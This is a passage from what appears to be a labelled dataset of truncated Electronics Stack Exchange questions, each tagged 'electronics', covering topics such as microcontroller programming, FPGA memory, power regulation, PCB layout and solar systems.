of new to this stuff so bare with me... :) I want to buy the following board http://www.mikroe.com/easymx-pro/stm32/ just to play around with the arm processor for studying purposes. ... ",['electronics'] "Title: Question about sign Body: I need to answer this question using PSpice: It seems it's -15mA, BUT in the exercise, the current source is < (I understand it's + < -) in Pspice I set it to < as well, but there is - ... ",['electronics'] "Title: Eagle Cad - redefining terminals of a component Body: I use default BC337 transistor from the eagle-cad's library, terminals are: 1- Emitter, 2 Base, 3 Collector. however, datasheet of the BC337 that I am using defines the terminals differently 1 ... ",['electronics'] "Title: Sending command using USART Body: I am new to this kind of communication. I am able to send command from PC to AT90USB1287 microcontroller as well as able to get response using USB communication. Now i have connected another ... ",['electronics'] "Title: Xilinx Virtex 6 - assigning pins FPGA [closed] Body: I am writing a basic logic program to a Virtex 6. It is a simple half adder with two inputs (A,B) and two outputs (Signal, Carryout). I would like to assign A, B to two switches and Signal, Carryout ... ",['electronics'] "Title: pwd voltage at laptop inverter Body: I am trying to repair my LCD back light. I bought a new inverter (as the screen works if I plug it in through another screen), but it is still not working. I tested the input pins for voltage (6 ... ",['electronics'] "Title: Create a circuit out of netlist file Body: I'm working with gschem, gnetlist & ngspice (gEDA). I've downloaded a SUBCKT file from here. The file name is 'irf9317.spi' and some of it's content is: ... ",['electronics'] "Title: Are there any rules of thumb when computing pulse current ratings for PCB traces? Body: Say I have a surface PCB trace, 4 oz, 50 mils. That trace should be able to carry around 15 amps continuous, according a calculator I'm using. (Obviously your trace ampacity estimates may vary with ... ",['electronics'] "Title: electric chewing gum prank circuit diagram Body: I'm new to electronics. I'm trying to find out how this works out of curiosity. http://www.amazon.com/gp/aw/d/B0050UNNQS Does anyone have a circuit diagram for the circuit? Is the current safe for ... ",['electronics'] "Title: how to configure RN xv 171 module for UART communication? Body: Heyy, I am using the RN xv 171 module along with stm32f4 discovery board. I wish to communicate with the module over uart from the board. However, the module is either mute or echoing the messages ... ",['electronics'] "Title: Books/tutorials on programming a microcontroller [closed] Body: I'm relatively new to programming with Microcontrollers. I bought an LPC1313 MCU and an FTDI RS232 cable from newark. I later found out that I would need to construct a PCB with 6 pin headers inorder ... ",['electronics'] "Title: Basic misunderstanding about dropping down voltage going in a TTL IC using resistors Body: I'm having serious problems figuring this out. Below is a part of an 8-bit computer schematic. The 62256-70 is a static ram chip. I understand these 8K2 resistors are there to provide a default value ... ",['electronics'] "Title: Can we place silkscreen inside the footprint? Body: Can we place silkscreen inside the footprint for through hole PCB? I guess it eliminates ""visual congestion"". What are the problems associated with it?? ",['electronics'] "Title: Inter-PAN transmission possibilities with XBee modules Body: I'm trying to create a working ZigBee Light Link device using common XBee modules. Now I've ran into a problem where Digi the creators of the XBee modules can't help me either. I'm trying to find out ... ",['electronics'] "Title: Does converting 12V DC to 110V AC really increase the available watts? Body: When designing solar panel systems for homes how do you convert the watts generated by the 12V DC solar panels to watts available in a 110/120V AC system? When I do the math it seems to defy logic. ... ",['electronics'] "Title: Basic code to switch LED for PIC18f4550 XC8 not working! Body: I cnat run this code in my PIC18F4550 with 20.00 MHz crytal. I use XC8 compiler.where is the problem.... and not clear how to write configuration in XC8 compiler... bye the way I m a beginner in ... ",['electronics'] "Title: Splicing Buses in Kicad Body: I would like to be able to splice two buses in kicad into a third larger bus. Say I have a subsheet with an output pin connected to a 16 wire bus (an unrelated note, it took me a while to figure out ... ",['electronics'] "Title: DIgSILENT Power Factory Body: What book would have instructions on DIgSILENT Power Factory Software? I want to learn but don't know how. Are there any other references for learning that anyone knows of? ",['electronics'] "Title: Problem with Arduino and 2 Sharp IR sensors Body: I have 1 Arduino and 2 IR Sharp GP2Y0A02YK0F proximity sensors, I connected 1 sensor, with mounted capacitors between GND and VCC (100nf, 10000nf) Everything is fine, I have good values, but when I ... ",['electronics'] "Title: Can anyone identify this LCD Display Body: How do I go about identifying an LCD display module so I can get a data sheet? 16 Pins to one side in 2 rows of 8. printed on PCB: hy-211 printed on PCB: v0022201 rev.b printed on a sticker on ... ",['electronics'] "Title: Help identifying component on Sainsmart 4-Channel Relay board Body: http://www.thesunrain.com/Amazon/4%20relay%20board/4-ch%20relay%20module.pdf In the Schematic there are 4 Items Labeled U1,U3,U5,U7 They look like small black boxes on the actual boards. I can't ... ",['electronics'] "Title: interfacing pic184f450 with 16X2 lcd in four bit mode? Body: I am working on interfacing 16X2 lcd in 4bit mode with pic18f4550.The higher 4 bits (D4,D5,D6,D7) are connected to PORTA1,A2,A3,A4 , pin RAO as RS, RE2 as RW, RE3 as RE3. i am struck with below code ... ",['electronics'] "Title: Saving user input as an array and recalling it later Body: I am currently working with an Arduino Mega and a SainSmart LCD and I have gotten most of my project to work except for a problem I am currently having. On my LCD screen, I have various buttons, and ... ",['electronics'] "Title: Differences between OLED, LED, LCD, and TFT Screens Body: I have heard about these different types of screens on DIY websites and in consumer electronics. What are the differences in these types of screens and what are their advantages and disadvantages? ",['electronics'] "Title: How can electromagnetic interference from a USB charger cause a capacitive touchscreen to malfunction? Body: Electromagnetic interference from a USB charger can cause a touchscreen on a mobile device to malfunction, with symptoms such as reduced sensitivity or spurious touches. As an example, see ... ",['electronics'] "Title: Electromagnetic charging Body: I'm building a circuit that uses a really low voltage and current. I thought that instead of using a standard battery it would be nice if I could use a rechargeable battery and charge it with ... ",['electronics'] "Title: External crystal not working Body: I have designed a PCB for a PIC32MX795 chip. (Datasheet) I want to use an external crystal (Link to datasheet in PDF) but when I solder the crystal to the board, I can't get my PLL to lock to 80MHz. ... ",['electronics'] "Title: External powered USB hub Body: I am planning on building a quite large USB hub, which final use is to connect, charge and sync let's say 40 iPads. The iPad electrical specification from Apple states that each unit needs to have ... ",['electronics'] "Title: Soldering IC directly to stripboard Body: I picked up my first ""from-scratch"" DIY electronics project in a long time, building a 2-tone door bell on stripboard with a basic 555 circuit. For the most part everything went well. I assembled the ... ",['electronics'] "Title: How to design a non inverting op amp adder for my circuit? Body: I am trying to implement an adder for my circuit using 4 resistors. From what i read, i understood that so long as you have R1 = R2 and R3 = R4 it really does not matter what value you use. The ... ",['electronics'] "Title: Power dissipation in Fets synchronous switcher Body: I'm working on a design that includes a synchronous buck switching regulator and I've been trying to understand how much power each FET will have to dissipate. I've been looking at different ... ",['electronics'] "Title: Calculate minimum voltage to turn off/on solid state relay Body: I have an AQZ204 AC/DC type solid state relay AQZA204 datasheet Basically I want to calculate the minimum supply voltage required to turn the relay on and the minimum supply voltage required to turn ... ",['electronics'] "Title: Xilinx Virtex 6 FPGA - how to read memory Body: I am new to FPGAs. I would like to learn how I should go about reading the memory (DDR3) of the Xilinx Virtex-6 FPGA ML605 kit. I would also like to learn how to write simple schematics to the FPGA. ... ",['electronics'] "Title: how to access the bit fields of an registers in microcontroller Body: I am working with PIC18f4550 micro controller . i have connected a lcd in 4 bit mode to port d<1:4> pins .So how can i send data only to the 4 bits of port d <1:4> register without affecting ... ",['electronics'] "Title: Creating a vivado_hls project with systemc sources Body: I just started using Vivado HLS. When creating a project, I have to specify a top function, but the top module of my project doesn't have functions, just the constructor. I've tried setting different ... ",['electronics'] "Title: What “external” source can change a General Purpose Working Register if no interrupts are enabled? Body: I have a 8-bit ATmega processor (from the 48/88/168 family) and encounter a strange behavior: after a brown-out reset, sometimes (around 20%-30%) it fails to start after a short brown-out. It always ... ",['electronics'] "Title: State Diagram Issue - Equivalent Situations Body: How do I know according to the following diagram if I have a equivalent situations, how do I recognize it? for example we will examine S2 and S3. I would like to get an advice how to do it. Thanks! ... ",['electronics'] "Title: Cannot find efficient current/voltage regulator to power LEDs Body: I have a 12V 4-pin common-anode RGB PWM'd signal being used to power some LED strips, and I would like to use it to power the VL-H01RGB00302 Vollong 3W RGB High Power LED - which is basically a set of ... ",['electronics'] "Title: Rectifying induced current without using any semiconductors Body: Consider a 1:1 transformer. Short DC pulses are applied to the primary (input) coil. Once it's positive current pulse, once it's negative current. It's not strict alternating current (i.e. two ... ",['electronics'] "Title: What is the purpose of a resistor to self bias a MOSFET? Body: If there is no voltage drop across \$R_G\$ as I have been taught. What is the purpose of it? ",['electronics'] "Title: How to determine Frequency response in BJT Body: What do I want to look for on a BJT datasheet to find out the maximum operating frequency before distortion occurs? Or perhaps the question should be: How do I know how fast a transistor can cause ... ",['electronics'] "Title: How to prevent 555 timer interference Body: I made a triple PWM motor controller with a 555 timer hooked up to 3 IRF621 MOSFETS to the motors. I am having interference troubles. When I turn one knob up, the other motor wants to change speed a ... ",['electronics'] "Title: Relay Protection (Mechanical) Body: In what ways can a Hobbyist with Electronics extend the life of a mechanical relay and overall make it safer to use? Or is it really not worth it as in Damage it going to occur regardless? Maybe ... ",['electronics'] "Title: RFID Rectifier Design Issue Body: I am designing a RFID rectifier. I am referring a IEEE paper for this purpose. The paper has shown results for both 130nm and 350nm technologies. I have chosen 180nm technology. So, I expected results ... ",['electronics'] "Title: Need a protection diode if only connected by common ground? Body: I have many solenoids running on 25VDC. Some are controlled by MOSFETs which are powered by a 5VDC circuit, and others are controlled by physical switches in the 25V lines. The 5V and 25V circuits ... ",['electronics'] "Title: How do I convert 24 V from a car battery to 5 V @ 1A? Body: I need to make a phone charger using the batteries as source in my boat. Also i would also like to know the heat dissipation of the circuit as i need to use it for a minimum of 30 minutes. ",['electronics'] "Title: SAM-BA monitor problem Body: I tried SAM-BA monitor for atmel at91samxxxx chips I'm working with non-atmel board using at91sam7s128 , I tried the monitor program with board option : at91sam7s128 and noboard but neither of them ... ",['electronics'] "Title: Does anyone know the hardware of a Nike+ SportWatch GPS? Body: I have one of these devices and I would really love to figure out if it is possible to write and push my own firmware into the device. The software on the watch is pretty limited and I would like to ... ",['electronics'] "Title: 8:1 Multiplexer With 5 Parameters of F(A,B,C,D,E) = ABCD +B'CDE+BC'D' Body: I am trying to create a multiplexer 8:1 with 5 parameters of the function $$F(A,B,C,D,E) = ABCD +B'CDE+BC'D'$$ what I did its to right it as minterms so what I get is: $$ F = ABCDE + ABCDE' + AB'CDE + ... ",['electronics'] "Title: Widely available IC for encording and Decoding DTMF data Body: I am planning to do some research in data transmission over the air. For this I am interested in DTMF encoding and decoding. Is there a widely available IC to achieve this? A circuit diagram using ... ",['electronics'] "Title: Are Data Cards simply L1 (Physical Layer) Devices? Body: I was just wondering, how many levels of the TCP/IP (OSI) Stack reside within a modem or a 3G data card and other similar networking devices? These devices do have a physical (MAC) address, which ... ",['electronics'] "Title: Programming languages for electronics engineers [duplicate] Body: I am electronics and telecommunication student, and studing in 3rd year(B.E.). I wanted to know that shuold i learn programing languages like c and c++? Is it okey to learn c++ before c? what are ... ",['electronics'] "Title: Interfacing TinyAVR with bluetooth and passing message Body: I'm looking into interfacing the TinyAVR micro controller (not sure which one will work yet) with a Bluetooth module either the CC2540 or the nRF8001. I want to have the TinyAVR micro controller use ... ",['electronics'] "Title: Cascade DACs to get higher resolution Body: I got a RAM-DAC with 3 channels and 6 bits for each channel. The device in question seems very straightforward to use with a modern MPU like an AVR. The resolution is a bit low, so I thought about ... ",['electronics'] "Title: Why is zener current preferred to be more than load current in a voltage regulator? Body: In a simple Zener Voltage Regulator, such as this Why should current passing through the zener diode(zener current) be more than the current passing through the load(load current)? or No such ... ",['electronics'] "Title: Half-wave rectifier and RMS value Body: I have built a half-wave rectifier with a 5V peak sine input, 1kHz. In theory the RMS of the output should be 5V/2 = 2.5V, but the oscilloscope only measures 2.01 V. What could be the reasons for such ... ",['electronics'] "Title: Understanding rc time constant Body: I get that if you put a resistor in series with a capacitor and add DC voltage, the cap will take longer to charge up. How can I calculate, how long it takes for the capacitor to charge up/discharge ... ",['electronics'] "Title: Cheap ESD/safety Mat Body: I need to get some sort of ESD/safety mat (2 actually) for working at home to protect myself and equipment. I was wondering what to look for/avoid if I were to purchase a rubber mat from a rubber ... ",['electronics'] "Title: Are there cryogenic peltiers [closed] Body: I was wondering if there is such a thing as a cryogenic peltier cooler, are there any that are available on the consumer market not just in high-tech labs. The reason that I ask is because liquid ... ",['electronics'] "Title: Flyback transformer - ambiguous schematics and other issues Body: I'm currently using schematic for a flyback transformer. As you can see, there's a big problem - neither the schematic, nor the website describing it, give the value of the capacitor. It says "".01"", ... ",['electronics'] "Title: Easiest & cheapest way to use embedded filesystem on SD card [closed] Body: I want to build a cheap, basic project which logs data to an SD card that can be removed and read using a normal card reader in a computer. Requirements are fairly basic so performance is not ... ",['electronics'] "Title: Methods for electronic flatulence detection Body: I would like to build a electronic flatulence (fart) detector. I was thinking of methane because detectors are readily available, but I read http://en.wikipedia.org/wiki/Flatulence and it says: ... ",['electronics'] "Title: Sizing a solar panel and battery for a simple solar application Body: I am a novice. I want to correctly size a solar panel and battery for the following application. I will be powering 2, 6 watt cfl lights and a 40 watt incandescent light. I am planning on using 400 ... ",['electronics'] "Title: 12 volt DC to 12 volt AC sine wave inverters for 10 watt and 22 watt pumps Body: I have two 12 volt AC small water pumps that I want to run on 12 volt DC (solar). One pump is rated 6 watts (max ~10 watts) and the other pump is rated 16 watts (max ~22 watts). Since I need to ... ",['electronics'] "Title: Is there such a thing as a resistive bus bar to substitute many resistors? Body: I find myself in the position to design Burn-In racks for a capacitor manufacturing company. I am trying to replace the multitude of resistors on boards that limit the current and isolate each ... ",['electronics'] "Title: Switch and Pushbutton Combo Body: In a circuit I'm designing I want the user to be able to switch the power off and on (with an SPST style switch), as well as depress a push-button (push-to-break) that will temporarily disable the ... ",['electronics'] "Title: 3.6V NiMH smart charger, microcontroller, auto switch over from DC in to battery Body: I'm working on an agricultural pump monitor project using a microcontroller. It needs to be able to operate ~1 hour after power failure, and signal same. I'm hoping there are maybe single chip, or ... ",['electronics'] "Title: Is there such a thing as a circuit that outputs 1 if the input is high-impedance, and 0 otherwise? Body: I am trying to design a circuit that outputs a logical 1 if the input is high-impedance, and a 0 otherwise. Any idea how I might implement this? I would prefer to use off-the-shelf parts (no ... ",['electronics'] "Title: LEDs conduct in reverse direction! Body: In my circuit, I have the L1 ~ L8 LED as indicator LEDs on the even number pins of my header. TEST rail is connected to a +5V rail which can be turn on or off depending whether I want the indicator ... ",['electronics'] "Title: Post-Transformer RMS Voltage for This Circuit? Body: I am confused here. For the below circuit: simulate this circuit – Schematic created using CircuitLab Ripple voltage is given as 1V peak to peak, Vo = 15V DC. I have assumed a 0.7V drop ... ",['electronics'] "Title: PC shares memory with external microcontroller Body: I'm looking for a PC hardware interface that matches these needs- The PC will constantly be busy performing calculations. Each time there is a calculation result (every ~1ms) I want it to share it ... ",['electronics'] "Title: GPIB transceiver IC with simple serial interface Body: I am building a device that I would like to add GPIB ability to. My device already has an MCU on-board that has a TTL 2-wire serial UART interface remaining available. I would like not to have to ... ",['electronics'] "Title: Shifting voltage level for reading sensor output on microprocessor Body: I realized a prototype-board with an old ATmega8 and a particle dust sensor. Both supplied with the 5V. The sensor output voltage is normally high (>4V), and falls below 0.7V if the sensor detect the ... ",['electronics'] "Title: Why would a modern digital clock rely on mains frequency? Body: I am in the military, stationed in Djibouti, Africa. We generate 240V/50Hz power on base, but some buildings also have 120V outlets, which I assume is transformed somewhere else on base, probably at ... ",['electronics'] "Title: Why is MATLAB used so much in industry when there's other software that can do a better job? [closed] Body: All the classes I'm taking require the projects to be done in MATLAB when there are times that C++ would be much better to use. One time the professor took three hours to find a transfer function when ... ",['electronics'] "Title: Is there a prebuilt PCB that does the equivalent of a wall wart for a similar price? Body: I am working on a project, and I need to convert 240V AC power to 5V DC to power a microprocessor. I can't use a wall wart, and I am looking for a PCB that will do the same as one - for near the same ... ",['electronics'] "Title: how to make a clock like this? Body: Could someone help me to make a clock that has outputs like this there are 3 clock outputs I have a reference schematic here, and this clock has 4 output and it made up of 2 flip flops, it uses ... ",['electronics'] "Title: How do I read the markings on a Mitsuba capacitor? Body: I'm trying to identify a suitable replacement capacitor for use in a relay. The relay is by Mitsuba and uses a Mitsuba capacitor, which appears to print different notation on it than I have found in ... ",['electronics'] "Title: Antenna Recommendation for UHF-T Body: My organization (a school) has an FCC license for three frequencies used on our campus for handheld radios (safety) and CB radios (busses). We wanted to record and reflect (retransmit) these signals ... ",['electronics'] "Title: unable to understand write policy in Cache memory Body: I am studying write policies in cache memory ( for first time ). I am able to understand the 'write-through' but i am not able to understand 'write back' and the problems associated with it . Please ... ",['electronics'] "Title: What actually is the output current of a boost conveter? Body: What I understood at least at a basic level the operation boost converter, the inductor supplies output current when the switch is OFF. When the switch is ON the the load current is taken current ... ",['electronics'] "Title: Why don't more devices incorporate full-wave rectifiers as reverse polarity protection? Body: Recently, I was introduced to the idea of using a full-wave rectifier, in order to protect against reverse polarity damage in DC devices. I hadn't even considered using a rectifier in an already DC ... ",['electronics'] "Title: Inverting switching regulator with -80V DC output Body: I need to design an inverting regulator with a +5V DC input and a -80V DC output. The maximum output current will only be 10mA. I cannot find any commercial switching regulators with -80V output ... ",['electronics'] "Title: How does multi-core CPU implement asynchronous coordination? Body: I am coming from computer science background and wanting to study process calculus for use in asynchronous circuit design. So, I am looking around the current practice on asynchronous circuits. There ... ",['electronics'] "Title: Guessing power line voltage from the number of disc insulator Body: Is there a good way to guess the power line voltage based on the number of insulator discs that attach the line to the transmission tower? Wikipedia seems to suggest that there is a ""Typical number ... ",['electronics'] "Title: Extremely Cheap Geeky Code System [closed] Body: I'm hoping to create a really geeky 'capture-the-flag'-style checkpoint event. The goal is as follows: Team A goes to Checkpoint 1 and, using some kind of device, scans a chip left at Checkpoint 1 ... ",['electronics'] "Title: Generate sine wave in VHDL, with the use of 10-bits DAC [closed] Body: I want to generate a sine wave with 20Mhz frequency, using a FPGA (Cyclone 3 EP3C10E) and an external 10bit DAC converter (http://www.analog.com/static/imported-files/data_sheets/AD7533.pdf). I have ... ",['electronics'] "Title: Supply voltage for Arduino [duplicate] Body: I have an Arduino Uno and I want to run it somewhere where there is no access to computer. To give power to the Arduino an adapter has to be plugged in the power jack: My question is how many ... ",['electronics'] "Title: How DDR2 SDRAM works? Body: I have the Xilinx Spartan-3AN Starter Kit and I need to use the on board DDR2 SDRAM (MT47H32M16CC-XX). Until now I only used Static RAM and this type of memory is new for me. Can someone explain me ... ",['electronics'] "Title: The PWM output of dsPIC chip fail to drive the motor with H-bridge circuit Body: I am simulating a dsPIC33FJ32MC202 in Proteus to control a motor. I used an H-bridge to let motor rotate, but the motor is not rotating after the simulation started. You can see the oscilloscope ... ",['electronics'] "Title: Efficiency of a SMPS Body: I will like to understand the term efficiency in a SMPS design. Is there a way to determine the best efficiency for a particular design? ",['electronics'] "Title: Solid reasons for switching off mobile devices on air planes [closed] Body: Recently a flight attendant forced me to shut down my tablet PC for the period of landing the air plane, despite wireless and bluetooth being in air plane mode already. Questions: Are there ... ",['electronics'] "Title: Is it possible to provide power using (effectively) a single wire? Body: I come to this question after a few thoughts on capacitors. A capacitor essentially transfers (and stores) energy using an electric field through an insulator. The plates of a capacitor are not ... ",['electronics'] "Title: how to rectify/amplify voltage across current sensing resistor? Body: Say a mains AC (120v, 60hz) 10 amp load with a 0.003 ohm current sense resistor in series with it. The voltage across the resistor is roughly 30mv. How do you rectify such a small voltage (I read ... ",['electronics'] "Title: Turn a mains AC load off when another one is ON Body: What would be a way to turn OFF load A (10 amps) as soon as load B (10 amps as well) is turned ON, faster than the time it takes for a circuit breaker to trip (~15 ms)? Something like a voltage ... ",['electronics'] "Title: How to determine RAM size via datasheet Body: The name says all: How can I determine the RAM size via the data sheet? Do you multiply the numbers given like: MT48LC32M8A2 – 8 Meg x 8 x 4 banks There is the sheet I am referring to. ... ",['electronics'] "Title: How to cut interrupt code to minimum? Body: I have some interrupt let's say from UART to make a real example: ... ",['electronics'] "Title: What modulation does Short wave broadcast stations use? Body: I have small Short wave receiver for the 7 broadcast bands. (49,41,31,22,19 and 16 meters) What Modulation do they use in this? The radio is a small grundig mini 300 world band reciever. ",['electronics'] "Title: Resistance between data/Addr pins and GND ranges from 1k to 1M, is this normal? Body: After soldering a 132-pin surface mount DSP, I checked if there are short circuits or not using ""GreenLee DM-110"" multimeter. I found that the resistance between data or address pins and GND ranges ... ",['electronics'] "Title: How to amplify electret microphone to range from 0-5V with bias of 2.5V? Body: I'm new to op amps and have tried many circuits but don't get the results I expect. I know I must do some math but I get so confused. I thought my question is really simple but it turns out it's not. ... ",['electronics'] "Title: Nodal Analysis of a Circuit Body: I'm trying to apply Nodal Analysis here.I have found that taking reference Nodes and application of Kirchhoff's laws yields some equations and on solving these equations i will get the needed ... ",['electronics'] "Title: Clarification regarding batteries and ups Body: I am planning to setup a ups with 2 100ah/4h batteries next to my server setup. Is it safe to work to work next to such high load batteries. Are there any health concerns that comes with working ... ",['electronics'] "Title: LCD display problem Body: I can not get an explanation why my LCD does not work with PIC18F4520 when it was working perfectly using PIC18F458 on the same speed and the same software (but of course recompiled for PIC18F4520). ... ",['electronics'] "Title: DC 5V to 3.3V DC-DC Step-Down issue Body: TL;DR : The output voltage from my 5V DC to 3.3V DC stepdown seems to output 4.5V DC - why? Background: I'm trying to power an Airport Express from USB rather than a wall outlet. I have discovered ... ",['electronics'] "Title: Running 7V motors with 2x 3.7v batteries Body: We're really enthusiastic to build a homemade quad-copter with almost no knowledge about such things. We will probably use Arduino and Bluetooth to control it, but we have a question about the motor ... ",['electronics'] "Title: Connecting 2 Arduinos with Bluetooth Body: I have been looking on Google for a project that involves 2 Arduinos communicating with Bluetooth. The only examples I can find are with an Arduino to an Android phone. Does anyone have links to let ... ",['electronics'] "Title: Magnetic Field Transmission Body: I have heard from here that if you put 1 turn of wire around your house, you can hear music all around inside your house. It doesen't tell me very much on all of the components etc. to drive but I am ... ",['electronics'] "Title: How do I set a new reference point within Eagle CAD? Body: How do I change the reference point in Eagle CAD for placing parts correctly? I'm using MARK but it did not set the new mark point as a reference. Is there a way to do this? ",['electronics'] "Title: Fastest way to sense AC current? [closed] Body: I will rephrase the question (I reckon it was very vague) All of this happens on 120v 60hz mains. To make it simple (there are actually other loads involved), I need to turn OFF load B (12 amps) when ... ",['electronics'] "Title: Problem with PID tuning Body: This is the step response of the power stage of a buck converter. I tried tuning it when i added a proportional term, the rise time and settling time improved.So kept on increasing Kp and the ... ",['electronics'] "Title: Is there a way of conditionally triggering a compile-time error in verilog? Body: I have a parameterised module in verilog, where the parameters are a clock rate and refresh rate, which is used to calculate how many cycles of inactivity are inserted between instances of a repeating ... ",['electronics'] "Title: Multiple DC Input to Single DC Output Body: I want to connect solar panels in parallel, not sure whether connecting the terminals together will work. If one solar panel produces high voltage, it will block the voltage generated by second solar ... ",['electronics'] "Title: Is this switch circuit correct? Body: This is a follow-up question to How high is ""high impedance"" on this chip (CD74HC125E) I finally decided to use a pn2222 transistor to act as a switch that activates the transmitter. The ... ",['electronics'] "Title: How can I test the amount of power I can draw out of a USB charger? Body: I've got several USB chargers where the labeling has worn off. I'm interested in using some of these with a Raspberry Pi Model B, which needs at least 700 mA, as well as other devices with varying ... ",['electronics'] "Title: Prototyping a FTG256 BGA board Body: How important is Electroless nickel immersion gold (ENIG) vs normal HASL or hot air solder leveling is? I'm prototyping a board that has an Spartan 6 FTG256 BGA. I'm trying to get a 4-layer board ... ",['electronics'] "Title: Is BJT a Voltage controlled device or Current controlled device? Body: I have searched already for this question, but everywhere I see debate instead of clear answer. Though it is not that important of a matter whether we call it a voltage controlled device or current ... ",['electronics'] "Title: Why the output voltage of dsPIC IO ports is not constant? Body: I expect output voltage of dsPIC pin should be 3.3V, and this seems to be true when the output pin is connected to high resistance. However, when I connect to low resistance, the voltage of output ... ",['electronics'] "Title: Computing Current from known Capacitance and Time to Charge to Known Voltage Body: If I know how long it takes to charge a capacitor of known size to a known voltage (within 10%), how do I find out the average current for that period of time? This only needs to be approximate. ... ",['electronics'] "Title: Arduino 5 Servos Body: I have connected 5 servos to my Arduino. I know I need and external power supply but am not sure how much. When a servo says 4.5-6v is that per servo? How many total volts do I need and what batteries ... ",['electronics'] "Title: Problem of noisy ground Body: In this design, the 2A motor ""M"", which is running at PWM=10kHz, creates a lot of noise in the ground as shown on the scope trace. Not only the ground is sinusoidal but more painful, the ground level ... ",['electronics'] "Title: High Powered Radio Transmitters Body: What kind of radio transmitter would be used on an data collection unit to transmit telemetry over long distances? For example a weather station in a remote location, or in a buoy just off the coast ... ",['electronics'] "Title: Non-isolated mains circuit and Ethernet Body: I'd like to measure voltage and current for a mains circuit using a microcontroller, and connect this to ethernet. Since I want to have 8 independent outputs, using an isolation transformer to measure ... ",['electronics'] "Title: What does the term “fixed” mean on the radio spectrum? Body: On the United States Radio frequency allocation chart, the term ""fixed"" radio comes up a lot. What does that mean? Who is allowed to used ""fixed""? ",['electronics'] "Title: Trouble Detecting pF capacitance with Arduino Body: Im working with an EAP (electroactive polymer) thats capacitance changes when deformed. It varies between the ranges of around 0.5 - 3 nF. Im trying to connect it to an arduino to take readings that I ... ",['electronics'] "Title: ATmega 168 error on reading analog inputs Body: I have a project to read and display on LCD analog inputs A0,A1 and A2 which are voltage from PT,Current from a CT and temperature from LM35 Temperature sensor respectively.Unfortunately the display ... ",['electronics'] "Title: AVR-GCC: Ports Undeclared when compiling Body: My Setup I'm running Ubuntu 12.10, and I want to be able to use gcc and avrdude to compile and program my ATmega328. I followed this Ladyada tutorial: Ladyada AVR Tutorial Everything installed ... ",['electronics'] "Title: Industry Term for Missing/Floating/Lifted Pin on IC Package Body: A recent question asking how to deal with a missing pin on a specific IC (Use the heatsink tab which is connected to ground) made me curious. What is the industry term for a pin that is physically ... ",['electronics'] "Title: Anyway to Visualize Current without an Oscilloscope with that Function? Body: Having only an ordinary oscilloscope that shows voltage, is there any way to modify the circuitry or do some intelligent guessing to get an idea of what the current wave form looks like? In my case, ... ",['electronics'] "Title: Read VGA pixel value from SRAM in VHDL Body: I'm using a SRAM in order to store a frame that I have to display on screen with the VGA interface. I need to read the pixel value from the SRAM and then send it to the VGA monitor. I have created a ... ",['electronics'] "Title: Call a Finite State Machine in VHDL Body: I need to read data from a SRAM in one step (something like READ_RAM(addr) that returns the value stored in the SRAM at the ""addr"" address). Is it possible create a function/procedure that integrates ... ",['electronics'] "Title: arduino mega end eclipse communication error Body: I have arduino mega and a working project on eclipse.I can not communicate with avrdude.I get error at the read of the mcu signature. I have used all programmers (arduino,stk500v1 and v2) at 57600 and ... ",['electronics'] "Title: Where are the UART Rx and Tx pins on a dsPIC33FJ32MC202? Body: I'm a beginner to micro-controller and now learning Microchip's dsPIC. I'm trying to use UART with RS232 to communicate with my laptop, but I can't find out where the Rx and Tx pins are on the chip. ... ",['electronics'] "Title: mirror in frequency domain Body: Why is that in the frequency domain, I always see mirror images? What causes these mirror frequencies to appear? How do they pop in? Where do they come from? Secondly, what is this concept of ... ",['electronics'] "Title: Looking for identification of an item Body: I have had some trouble identifying this piece of hardware, even with the help of the inter webs. I have disassembled the printer (Brother HL-2270W or a similar device), so getting it to run is a bit ... ",['electronics'] "Title: Bidirectional Level Shifter without IC Body: I'd like to connect R-Pi serial to PC's RS232 port without IC (such MAX3232), using only diode (thus block negative voltage to 0V), voltage divider resistors, and common BJT. For TXD (RX from R-Pi ... ",['electronics'] "Title: How to connect to 30 awg Nichrome wire to 28 awg wire? Body: I'm looking for a quick way to connect my 30 awg Nichrome wire to some 28 awg stranded wire and have tried an inline splice and crimped-on receptacles. For my project I'll potentially be making lots ... ",['electronics'] "Title: Software to translate code description to PCB design? Body: Is there an application available that allows you to define each component and it's connections in a circuit (kind of like Entity Relationship Diagrams in database design), and have the application ... ",['electronics'] "Title: Why one of my multimeter shows a small voltage when only one probe is connected to AC and the other dont? Body: I've recently acquired a Minipa ET-997 multimeter. I noticed that when I connected one probe to 127V phase and let the other disconnected, it will show around 12V. But I have an older and cheaper ... ",['electronics'] "Title: IR receivers: how to interpet “Max. Envelope Duty Cycle vs. Burst Length”? Body: In the datasheet of an IR receiver IC, intended for remote control applications, there exists this graph. Why is there such a sharp translation after a certain carrier impulse count? ",['electronics'] "Title: PCIe fails on “polling compliance” state Body: I am using the PCIe block of Altera Cyclone IV FPGA, and I have an issue whereby about half the PCIe slots I have tried (on three different computers) do not work. Debugging with SignalTap shows that ... ",['electronics'] "Title: what is logic contention when using a voltage supervisor? Body: I am using a voltage supervisor from MAXIAM (MAX6734A).I am confused about design notes in page 11. so,what is logic contention? the uP that I want to monitor is STM32F103ZET6.I read its ... ",['electronics'] "Title: Choosing an accelerometer for collisions Body: I currently have an ADXL345 accelerometer. For a project, I need to be able to detect if my device has a heavy collision with a wall / hard surface. I need to trigger other events on a big collision. ... ",['electronics'] "Title: Are there compliance problems with selling products with exposed PCBs? Body: If I were to go to mass production with a consumer product is there a good guide on making sure I was following the correct compliances so that stores would accept selling it? For example can part ... ",['electronics'] "Title: plotting frequency response Body: Above is an excerpt from a textbook. My question is, why is that when we plot H(w), we need to think of it as a complex exponential???, can't we just plug in values for w and t, evaluate it, and ... ",['electronics'] "Title: P-Channel Mosfets in Series to Increase Max Drain-Source Breakdown Voltage Body: Would there be any problems with putting two P-Channel MOSFETs in series in order to double the maximum operating voltage for drain-source? The body diodes when used this way should act just like ... ",['electronics'] "Title: Off-grid Solar with DC Backup Body: I would like advice on a potential new set up I am looking at installing in my home. I have a small water heating system that runs @ 150w 24v DC, I intend to use the solar to power the heating system ... ",['electronics'] "Title: Three Phase Input to Single Phase Output Body: We have three phase input and the voltages in the three input is not the same always. Sometimes, one or two or three phase will be off. I would like to connect the phase to output which lies within ... ",['electronics'] "Title: Generating 19kHz and 38kHz phase-locked sine waves Body: As a personal project, I'm designing a stereo FM transmitter from scratch. Part of this entails design of a stereo multiplexer. Using this description, I've worked out how I'm going to implement most ... ",['electronics'] "Title: How to calculate Gate Delays in normal Adders and Carry Look Ahead Adders Body: In my textbook the gate delays for the n-bit ripple adder is given as \$ 2n \$ for \$c_n\$ bits and \$ 2n-1 \$ for \$ 